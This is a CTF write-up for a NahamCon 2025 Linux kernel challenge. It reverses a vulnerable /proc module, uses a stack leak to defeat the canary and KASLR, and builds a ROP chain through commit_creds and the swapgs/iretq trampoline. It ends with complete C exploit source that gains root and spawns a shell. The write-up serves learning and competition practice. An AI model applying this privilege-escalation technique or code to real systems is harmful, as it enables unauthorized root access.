The Jumps is a Linux kernel exploitation challenge from NahamCon CTF 2025 without source code. After
reversing the supplied kernel module that uses /proc/shellcode_device, it was clear what the vulns were and what needed to be achieved.
We need a kernel leak and a overflow of some sort, those two functions fit together perfectly:
read()copies data from a small kernel stack frame into a global buffer, leaking the stack canary and a kernel text address.write()copies attacker-controlled data from that global buffer back over a small kernel stack frame, giving control of the saved return address (so getting $rip control).
The final ROP chain is as follows:
prepare_kernel_cred(NULL)
|
| returns struct cred * in RAX
v
mov RDI, RAX
|
| RDI now contains the same struct cred *
v
commit_creds(RDI)
|
| current process is now root
v
swapgs_restore_regs_and_return_to_usermode+0x16
|
v
return_to_userspace() -> cat /flag -> /bin/sh
Note that commit_creds(&init_cred) is also possible (and easier), but init_cred wasn't available here in this qemu chall instance... How that works I explained in the first kernel exploitation blog here
The chall enables SMEP and SMAP. Its launch scripts pass nokaslr, although the
exploit still derives the kernel base from the stack leak, just to make it portable (and to be honest: I didn't saw the nokaslr at first).
1. Reversing the module
The module allocates one global 0x400-byte buffer and creates a world-writable proc entry:
proc_data = __vmalloc(0x400, ...);
memset(proc_data, 0, 0x400);
proc_create("shellcode_device", 0666, NULL, &proc_fops);
Every open descriptor shares proc_data. No heap spray or race is needed; the
read and write handlers already provide the leak and control-flow primitive.
The stack disclosure in proc_read
The read handler is equivalent to:
static ssize_t proc_read(struct file *file, char __user *user,
size_t count, loff_t *off)
{
char stack_buf[0x20];
if (count > 0x400)
return -EINVAL;
memcpy(proc_data, stack_buf, count);
if (_copy_to_user(user, proc_data, count))
return /* error */;
return count;
}
The local buffer is only 0x20 bytes, but count may be as large as 0x400.
The important memcpy direction is visible in ida as thi:
mov rdi, [proc_data] ; destination
mov rdx, rbx ; count
mov rsi, rsp ; source: current kernel stack
call __memcpy
Calling read(fd, buf, 0x160) therefore copies 0x160 bytes from the kernel
stack into proc_data, then sends those bytes to userspace. The result contains
the local frame, stack canary, saved registers, and return addresses.
The stack overflow in proc_write
The write handler reverses the data flow:
static ssize_t proc_write(struct file *file, const char __user *user,
size_t count, loff_t *off)
{
char stack_buf[0x20] = {0};
if (count > 0x3ff)
return -EINVAL;
if (_copy_from_user(proc_data, user, count - 1))
return -EFAULT;
memcpy(stack_buf, proc_data, count);
proc_data[count] = '\0';
return count;
}
With count = 0x160, the final memcpy overwrites the canary, saved frame
pointer, saved return address, and the stack above them.
The count - 1 copy does not break the exploit. The last byte of the 0x160-byte
user buffer is not refreshed, but the complete ROP chain ends at offset 0x98.
The ioctl path
Command 0x7301 contains another direct stack overflow:
char local[0x20];
memcpy(local, proc_data, 0x400);
printk("Buff = %s\n", local);
That path could consume a payload already stored in proc_data. Could also work but the write one is easier.
2. Matching the read leak to the write frame
Both handlers put their canary at stack offset 0x20, but their prologues save a different number of registers.
proc_read pushes both rbp and rbx:
offset leaked proc_read value
------ ------------------------------------------------
+0x00 start of the 0x20-byte local buffer
+0x20 stack canary
+0x28 saved RBX
+0x30 saved RBP
+0x38 return address into proc_reg_read
proc_write only pushes rbp:
offset overwritten proc_write value
------ ------------------------------------------------
+0x00 start of the 0x20-byte local buffer
+0x20 stack canary
+0x28 saved RBP
+0x30 saved RIP, first ROP gadget
This explains all three important offsets:
uint64_t canary = ((uint64_t *)buf)[4]; // 4 * 8 = 0x20
uint64_t leak = ((uint64_t *)buf)[7]; // 7 * 8 = 0x38
uint64_t *rop = (uint64_t *)&buf[0x30]; // proc_write saved RIP
The initial read() already placed the correct canary in buf + 0x20. I only
replace data starting at offset 0x30, so write() copies the original canary
back into the exact location checked by the proc_write epilogue.
3. Calculating the kernel base
Just for practice there because nokaslr is set.
The qword leaked at offset 0x38 is 0xffffffff8123e397 so its offset from
the kernel base is 0x23e397:
uint64_t kbase = leak - 0x23e397;
On the qemu chall this gives:
kbase = 0xffffffff81000000
The two kernel functions are resolved from that base:
Its even easier to use the bata24 gef command kmagic to see the offsets.
uint64_t prepare_kernel_cred = kbase + 0x000881d0;
uint64_t commit_creds = kbase + 0x00087e90;
The current exploit uses absolute addresses for its other gadgets. This works
because the launcher passes nokaslr. With KASLR enabled, those gadgets would
also need to be expressed as kbase + offset.
4. Saving the userspace state
The ROP chain executes in kernel space, but the exploit must eventually return to the
same process in user space. An iretq privilege transition needs:
RIP userspace instruction pointer
CS userspace code selector
RFLAGS userspace flags
RSP userspace stack pointer
SS userspace stack selector
The exploit saves the four values that cannot be safely guessed:
static void save_user_state(struct user_state *state)
{
__asm__ volatile(
"mov %%cs, %0\n"
"mov %%ss, %1\n"
"pushfq\n"
"pop %2\n"
"mov %%rsp, %3\n"
: "=r"(state->cs), "=r"(state->ss), "=r"(state->rflags),
"=r"(state->rsp));
}
The userspace RIP is the address of return_to_userspace().
5. Building the exact ROP chain
The working solve uses these functions and gadgets:
0xffffffff81e001bb pop rdi; ret
kbase + 0x881d0 prepare_kernel_cred
0xffffffff810f1a78 mov rdi, rax;
mov [vmcoreinfo_data_safecopy], rdi;
ret
kbase + 0x87e90 commit_creds
0xffffffff81c00a45 swapgs_restore_regs_and_return_to_usermode+0x16
The exact chain from exp.c is:
uint64_t *rop = (uint64_t *)&buf[0x30];
*rop++ = pop_rdi;
*rop++ = 0;
*rop++ = prepare_kernel_cred;
*rop++ = mov_rdi_rax;
*rop++ = commit_creds;
*rop++ = swapgs_iret;
*rop++ = 0;
*rop++ = iretq;
*rop++ = (uint64_t)return_to_userspace;
*rop++ = user.cs;
*rop++ = user.rflags;
*rop++ = user.rsp;
*rop++ = user.ss;
Word by word, the overwritten kernel stack contains:
index offset value purpose
----- ------ -------------------- ---------------------------------------
0 0x30 pop_rdi load the first function argument
1 0x38 0 prepare_kernel_cred(NULL)
2 0x40 prepare_kernel_cred allocate privileged credentials
3 0x48 mov_rdi_rax copy returned pointer from RAX to RDI
4 0x50 commit_creds install the credentials
5 0x58 swapgs_iret begin the kernel-to-user transition
6 0x60 0 saved RDI for the trampoline
7 0x68 iretq address orig_ax/padding slot
8 0x70 return_to_userspace userspace RIP
9 0x78 user.cs userspace CS
10 0x80 user.rflags userspace RFLAGS
11 0x88 user.rsp userspace RSP
12 0x90 user.ss userspace SS
The final qword occupies offset 0x90 and the chain ends at 0x98, comfortably inside the 0x160-byte payload.
6. Calling prepare_kernel_cred(NULL)
The x86-64 calling convention passes the first function argument in rdi:
pop rdi; ret -> RDI = 0
The next ret enters prepare_kernel_cred. When the function returns, its own
ret consumes the next address in the ROP chain.
prepare_kernel_cred(NULL) creates a fresh privileged struct cred and
returns its pointer in rax:
RAX = new_cred
The Linux v5.4 source shows exactly why passing NULL produces privileged credentials:
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
const struct cred *old;
struct cred *new;
new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;
kdebug("prepare_kernel_cred() alloc %p", new);
if (daemon)
old = get_task_cred(daemon);
else
old = get_cred(&init_cred);
The ROP chain sets rdi to zero, so daemon == NULL and execution takes the
else branch. The function uses init_cred as the old credential, copies it
into the newly allocated object later in the function, and returns that new
object in rax.
7. Moving the return value from RAX to RDI
commit_creds expects its struct cred * argument in rdi, while
prepare_kernel_cred returns that pointer in rax. The chain must bridge the
two calling-convention registers:
mov rdi, rax
The only good looking and available gadget has one side effect:
ffffffff810f1a78: mov rdi, rax
ffffffff810f1a7b: mov [rip+0x1a65436], rdi
ffffffff810f1a82: ret
mov copies the value; it does not clear the source register:
before gadget: RAX = new_cred, RDI = old value
after gadget: RAX = new_cred, RDI = new_cred
next target: commit_creds(RDI)
The extra store writes the credential pointer to the rip offset but doesn't mess up the ropchain. So that side effect is acceptable.
8. Installing the credentials
After the transfer gadget:
RDI = RAX = new_cred
Returning into commit_creds installs the object into the current task's
credential fields. The ROP chain runs in the context of the exploit process, so
that process is now root.
When commit_creds returns, the next address on the stack is the kernel exit
trampoline.
9. Returning through the swapgs/iretq trampoline
Jumping directly from kernel space to return_to_userspace() would fail under SMEP.
The CPU would still have kernel privilege and would try to execute an
instruction from a userspace page.
The rop chain instead uses the kernel's normal way of returning to userspace. The symbol
swapgs_restore_regs_and_return_to_usermode starts at 0xffffffff81c00a2f, but
that entry begins with fifteen register pops. I skip those pops (in a earlier blog I didn't knew that was possible yet, and was using alot of extra ropchain space)
and enter at offset +0x16:
ffffffff81c00a45: mov rdi, rsp
ffffffff81c00a48: mov rsp, qword ptr gs:[0x6004]
ffffffff81c00a51: push qword ptr [rdi+0x30] ; SS
ffffffff81c00a54: push qword ptr [rdi+0x28] ; RSP
ffffffff81c00a57: push qword ptr [rdi+0x20] ; RFLAGS
ffffffff81c00a5a: push qword ptr [rdi+0x18] ; CS
ffffffff81c00a5d: push qword ptr [rdi+0x10] ; RIP
ffffffff81c00a60: push qword ptr [rdi] ; saved RDI
ffffffff81c00a62: push rax
...
ffffffff81c00aa8: pop rax
ffffffff81c00aa9: pop rdi
ffffffff81c00aaa: swapgs
ffffffff81c00aad: jmp native_iret
The first instruction is mov rdi, rsp, here rdi becomes a
pointer to the ROP-supplied frame. The trampoline switches rsp to a kernel
per-CPU scratch stack and copies the five iretq values onto it.
At trampoline entry, rdi points to:
offset value use
------ -------------------- ------------------------------------------
+0x00 0 restored into RDI before swapgs
+0x08 iretq address orig_ax/padding slot, not a branch target
+0x10 return_to_userspace IRET RIP
+0x18 user.cs IRET CS
+0x20 user.rflags IRET RFLAGS
+0x28 user.rsp IRET RSP
+0x30 user.ss IRET SS
The address stored in the +0x08 slot is not jumped to by this trampoline entry.
It serves as the skipped orig_ax slot. The actual iretq is reached through
native_iret after the trampoline executes swapgs.
swapgs restores the userspace GS base. iretq then loads RIP, CS, RFLAGS,
RSP, and SS, changing privilege level from kernel space back to user space.
10. Finishing in userspace
The iretq target is a naked wrapper:
__attribute__((naked, noreturn))
static void return_to_userspace(void)
{
__asm__(
".intel_syntax noprefix;"
"xor rbp, rbp;"
"and rsp, ~0xF;"
"call post_exploit;"
"ud2;"
".att_syntax;");
}
The wrapper clears the stale frame pointer, aligns the restored stack to 16 bytes, and calls normal C code:
static void post_exploit(void)
{
system("cat /flag");
system("/bin/sh");
_exit(0);
}
Both commands execute as root because commit_creds modified the current task
before the ring transition.
11. Why the mitigations do not stop the exploit
Stack canary
The read primitive leaks the exact canary at offset 0x20. The payload preserves that qword, so the epilogue check succeeds.
KASLR
The return address at offset 0x38 leaks a core-kernel text address. That is
enough to calculate kbase. The provided launcher also uses nokaslr, which
keeps the hardcoded gadget addresses valid.
SMEP
Every ROP gadget and function executes from kernel text. Userspace code runs
only after the trampoline has changed privilege level with iretq.
SMAP
The module copies the payload through _copy_from_user, which is the intended
SMAP-aware access path. The resulting ROP chain lives on the kernel stack; no
gadget needs to dereference userspace memory.
12. End-to-end exploit flow
save CS, SS, RFLAGS, and userspace RSP
-> pin the process to CPU 0
-> open /proc/shellcode_device
-> read 0x160 bytes
-> leak the canary at +0x20
-> leak proc_reg_read+0x37 at +0x38
-> calculate kbase
-> preserve the leaked canary
-> place the ROP chain at +0x30
-> write 0x160 bytes
-> proc_write copies the payload over its kernel stack
-> the canary check succeeds
-> saved RIP enters pop rdi; ret
-> prepare_kernel_cred(NULL) returns new_cred in RAX
-> mov rdi, rax copies new_cred into the first argument register
-> commit_creds(new_cred) makes the current process root
-> the kernel exit trampoline executes swapgs and iretq
-> return_to_userspace prints /flag and starts /bin/sh
The final write() does not return normally. Its epilogue is where control
transfers into the ROP chain.
13. Full exploit
#define _GNU_SOURCE
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <unistd.h>
struct user_state {
uint64_t cs;
uint64_t ss;
uint64_t rflags;
uint64_t rsp;
};
static void die(const char *message)
{
perror(message);
exit(EXIT_FAILURE);
}
static void pin_to_cpu0(void)
{
cpu_set_t cpus;
CPU_ZERO(&cpus);
CPU_SET(0, &cpus);
if (sched_setaffinity(0, sizeof(cpus), &cpus) == -1)
die("sched_setaffinity");
}
static void save_user_state(struct user_state *state)
{
__asm__ volatile(
"mov %%cs, %0\n"
"mov %%ss, %1\n"
"pushfq\n"
"pop %2\n"
"mov %%rsp, %3\n"
: "=r"(state->cs), "=r"(state->ss), "=r"(state->rflags),
"=r"(state->rsp));
}
__attribute__((noreturn, noinline, used))
static void post_exploit(void)
{
system("cat /flag");
system("/bin/sh");
_exit(0);
}
__attribute__((naked, noreturn))
static void return_to_userspace(void)
{
__asm__(
".intel_syntax noprefix;"
"xor rbp, rbp;"
"and rsp, ~0xF;"
"call post_exploit;"
"ud2;"
".att_syntax;");
}
int main(void)
{
struct user_state user;
save_user_state(&user);
pin_to_cpu0();
int fd = open("/proc/shellcode_device", O_RDWR);
assert(fd > 0);
char buf[0x160];
read(fd, buf, sizeof(buf));
uint64_t leak = ((uint64_t *)buf)[7];
uint64_t kbase = leak - 0x23e397;
uint64_t canary = ((uint64_t *)buf)[4];
printf("leaked value is 0x%llx\n", leak);
printf("kbase value is 0x%llx\n", kbase);
printf("canary value is 0x%llx\n", canary);
uint64_t prepare_kernel_cred = kbase + 0x000881d0;
uint64_t commit_creds = kbase + 0x00087e90;
uint64_t pop_rdi = 0xffffffff81e001bb;
uint64_t mov_rdi_rax = 0xffffffff810f1a78;
uint64_t swapgs_iret = 0xffffffff81c00a2f + 0x16;
uint64_t iretq = 0xffffffff81c0143d;
uint64_t *rop = (uint64_t *)&buf[0x30];
*rop++ = pop_rdi;
*rop++ = 0;
*rop++ = prepare_kernel_cred;
*rop++ = mov_rdi_rax;
*rop++ = commit_creds;
*rop++ = swapgs_iret;
*rop++ = 0;
*rop++ = iretq;
*rop++ = (uint64_t)return_to_userspace;
*rop++ = user.cs;
*rop++ = user.rflags;
*rop++ = user.rsp;
*rop++ = user.ss;
write(fd, buf, sizeof(buf));
return 0;
}
